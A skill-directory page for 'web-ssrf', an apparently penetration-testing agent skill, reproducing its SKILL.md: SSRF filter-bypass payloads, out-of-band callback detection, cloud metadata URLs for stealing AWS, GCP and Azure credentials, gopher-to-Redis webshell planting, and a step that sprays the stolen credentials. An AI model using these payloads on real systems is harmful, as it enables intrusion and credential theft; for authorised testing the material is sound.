Agent skill

Web Ssrf

by s0ld13rr in s0ld13rr/pentestcode

Server-Side Request Forgery detection→internal-access→proof for web apps.

MITAuto-check: warningsBackend & APIs

Install Web Ssrf

The automated check flagged lines worth reading first. See the safety section below.

skills CLI
$ npx skills add s0ld13rr/pentestcode --skill web-ssrf -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install s0ld13rr/pentestcode web-ssrf --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/web/ssrf .claude/skills/web-ssrf && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
web-ssrf
GitHub stars
817
Token cost
~660 tokens
SKILL.md length
171 words
Files
1
Skills in repo
9
Repo updated
First seen
Licence
MIT

At a glance

Server-Side Request Forgery detection→internal-access→proof for web apps.

  • The app fetches a URL you influence (webhooks
  • SKILL.md covers When this fires, Detect, Decide — filter bypass and Exploit → PROVE IMPACT, plus 2 more sections
  • Reaches 127.0.0.1.nip.io
  • Url/image/pdf fetchers

What it does

Web Ssrf is an agent skill from s0ld13rr/pentestcode. Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /next/image, remotePatterns, redirect.

Its SKILL.md is about 660 tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Backend & APIs, covering Web application vulnerabilities, Webhooks and Backend development. The repository describes itself as: PentestCode - Multi-agent AI penetration testing system with persistent engagement state, strategic coordination, and parallel autonomous operations. The licence is MIT.

When your agent uses it

  • The app fetches a URL you influence (webhooks
  • Url/image/pdf fetchers
  • Import-from-URL
  • SSO/OIDC redirect

Example prompts

  • “fetch failed”
  • “/web-ssrf”

What it can do on your machine

Read from SKILL.md and the folder at commit 6053679. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    No scripts in the folder and no shell commands in SKILL.md (its code samples are bash).

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • 127.0.0.1.nip.io

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Web Ssrf loads about 660 tokens when it runs. Until then it costs about 86 tokens; SKILL.md has 171 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~86
When it runs · the whole SKILL.md, loaded when a task matches
~660

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check: warnings

The automated check found patterns that need a careful read before installing.

  • WarningMentions a paste, webhook or tunnelling service often used to send data outSKILL.md:16
    url=http://<OOB-id>.oast.site   # then watch for the server-sourced hit

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from s0ld13rr/pentestcode at commit 6053679, republished under its MIT licence (© s0ld13rr). 171 words, ~660 tokens.

Download SKILL.mdSave it as .claude/skills/web-ssrf/SKILL.md (or your agent's skills folder).
name
web-ssrf
description
Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /_next/image, remotePatterns, redirect.
tags
vuln_assess, exploitation

Server-Side Request Forgery (SSRF)

When this fires

The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js /_next/image), XML/SVG parsers.

Detect

Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF:

bash
# use interactsh / a collaborator / your own listener
url=http://<OOB-id>.oast.site   # then watch for the server-sourced hit

Compare internal vs external: http://127.0.0.1:<port> / http://localhost responses vs a dead port (differential = internal reachability).

Decide — filter bypass

  • Blocklist of 127.0.0.1/localhost → http://127.1, http://0, http://[::1], http://2130706433 (decimal), http://0x7f000001, http://127.0.0.1.nip.io.
  • Allowlist/parser confusion → http://allowed@evil, http://evil#allowed, http://allowed.evil.com, CR/LF + @, or a redirect you control (302 → internal).
  • Scheme filter → gopher:// (raw TCP → Redis/SMTP/internal HTTP), file://, dict://.

Exploit → PROVE IMPACT

bash
# cloud metadata (the classic high-impact proof):
http://169.254.169.254/latest/meta-data/iam/security-credentials/      # AWS IMDSv1
# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target
http://metadata.google.internal/computeMetadata/v1/  (Header Metadata-Flavor: Google)  # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  (Header Metadata:true)  # Azure
# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing

Proof required: exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.

Tooling

nuclei -tags ssrf; interactsh/collaborator for OOB; gopherus to craft gopher payloads.

False positives / pitfalls

  • Client-side fetch (the BROWSER requests it) = not SSRF.
  • WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.
  • Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.

© s0ld13rr, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/web/ssrf of s0ld13rr/pentestcode.

Open the folder on GitHubat commit 6053679

Compare with similar skills

Web Ssrf next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Web Ssrf compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Web Ssrf this skills0ld13rr/pentestcode817—~660Automated safety check: WarnMIT
Frappe Errors APIImpertio-Studio/Frappe_Claude_Skill_Package1871 repos~4kAutomated safety check: PassMIT
Django Securityaffaan-m/ECC274k5 repos~4kAutomated safety check: NotesMIT
Django Securityaffaan-m/ECC274k1 repos~4.3kAutomated safety check: NotesMIT
Secure Authjamditis/claude-skills-journalism416—~14kAutomated safety check: PassMIT
Test Server Side Fetchingcyberful/cyberful134—~867Automated safety check: PassAGPL-3.0

Similar skills

  • Frappe Errors API

    Impertio-Studio/Frappe_Claude_Skill_Package

    A skill your agent uses when debugging or handling API errors in Frappe/ERPNext v14/v15/v16.

    187 GitHub starsUsed in 1 repo~4k tokens
    Backend & APIsAuto-check passed
  • Django Security

    affaan-m/ECC

    Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations.

    274k GitHub starsUsed in 5 repos~4k tokens
    Backend & APIsAuto-check: notes
  • Django Security

    affaan-m/ECC

    Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations.

    274k GitHub starsUsed in 1 repo~4.3k tokens
    Backend & APIsAuto-check: notes
  • Secure Auth

    jamditis/claude-skills-journalism

    Secure authentication patterns (OWASP, NIST). An agent skill from jamditis/claude-skills-journalism.

    416 GitHub stars~14k tokensUpdated 3 days ago
    Backend & APIsAuto-check passed
  • Test Server Side Fetching

    cyberful/cyberful

    Assess server-side URL retrieval and network egress during authorized penetration tests or code audits.

    134 GitHub stars~867 tokensUpdated 1 mo ago
    Backend & APIsAuto-check passed
  • API Security Engineer

    FerroxLabs/wayland

    API security expertise covering OWASP API Security Top 10, API authentication and authorization patterns, API key management, rate limiting and throttling, JWT security best practices, OAuth 2.0…

    608 GitHub stars~3.1k tokensUpdated yesterday
    Backend & APIsAuto-check passed

More from s0ld13rr/pentestcode

All 9 skills in this repo
  • Svc Docker K8s

    s0ld13rr/pentestcode

    Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft.

    817 GitHub stars~648 tokensUpdated 5 days ago
    Auto-check passed
  • Svc Mobile Android

    s0ld13rr/pentestcode

    Android APK static analysis — OWASP Mobile Top 10, Retrofit API audit, transport security, smali reading, component export, auth flow analysis.

    817 GitHub stars~2.9k tokensUpdated 5 days ago
    Auto-check passed
  • Web Lfi Traversal

    s0ld13rr/pentestcode

    Path traversal / Local File Inclusion detection→file-read→RCE for web apps.

    817 GitHub stars~602 tokensUpdated 5 days ago
    Auto-check: notes
  • Web Sqli

    s0ld13rr/pentestcode

    SQL injection detection→exploitation→proof for web apps and APIs.

    817 GitHub stars~710 tokensUpdated 5 days ago
    Auto-check passed
  • Web Ssti

    s0ld13rr/pentestcode

    Server-Side Template Injection detection→engine-fingerprint→RCE for web apps.

    817 GitHub stars~621 tokensUpdated 5 days ago
    Auto-check passed
  • Web Xxe

    s0ld13rr/pentestcode

    XML External Entity injection detection→file-read/SSRF→proof for web apps.

    817 GitHub stars~585 tokensUpdated 5 days ago
    Auto-check passed

Questions about Web Ssrf

What does Web Ssrf do?

Server-Side Request Forgery detection→internal-access→proof for web apps. Web Ssrf is an agent skill from s0ld13rr/pentestcode. Server-Side Request Forgery detection→internal-access→proof for web apps.

When should I use Web Ssrf?

Web Ssrf fits situations like: the app fetches a URL you influence (webhooks; url/image/pdf fetchers; import-from-URL; SSO/OIDC redirect.

How do I install Web Ssrf in Claude Code?

Run `npx skills add s0ld13rr/pentestcode --skill web-ssrf -a claude-code`. Or copy the skill folder (skills/web/ssrf in s0ld13rr/pentestcode) into .claude/skills/web-ssrf in your project. Claude Code loads it when a task matches its description.

How do I install Web Ssrf in Codex?

Run `npx skills add s0ld13rr/pentestcode --skill web-ssrf -a codex`. Or copy the skill folder (skills/web/ssrf in s0ld13rr/pentestcode) into .agents/skills/web-ssrf in your project. Codex loads it when a task matches its description.

Can I use Web Ssrf in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add s0ld13rr/pentestcode --skill web-ssrf -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/web-ssrf, .gemini/skills/web-ssrf, .github/skills/web-ssrf and .opencode/skills/web-ssrf in your project.

What does Web Ssrf need to run?

SKILL.md names no scripts, command-line tools or credentials: Web Ssrf is instructions for the agent only.

Does Web Ssrf access the network?

SKILL.md names 1 domain. In commands or code: 127.0.0.1.nip.io; the agent is likely to contact it when it follows the instructions. This is read from the text; nothing was executed.

Is Web Ssrf safe to install?

Our automated static check of SKILL.md flagged 1 warning(s): mentions a paste, webhook or tunnelling service often used to send data out. Read the flagged lines before installing; the check is not a guarantee either way.

What licence does Web Ssrf use?

Web Ssrf is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Web Ssrf use?

About 660 tokens (SKILL.md is roughly 2.6k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Web Ssrf?

Skills that share tags, products or a category with Web Ssrf: Frappe Errors API (Impertio-Studio/Frappe_Claude_Skill_Package, 187 stars), Django Security (affaan-m/ECC, 274k stars), Django Security (affaan-m/ECC, 274k stars) and Secure Auth (jamditis/claude-skills-journalism, 416 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Web Ssrf?

s0ld13rr (a GitHub user) maintains it in s0ld13rr/pentestcode, which has 817 GitHub stars. The repository holds 9 skills in this directory. The repository was last updated on October 2, 2026.

Source: s0ld13rr/pentestcode on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.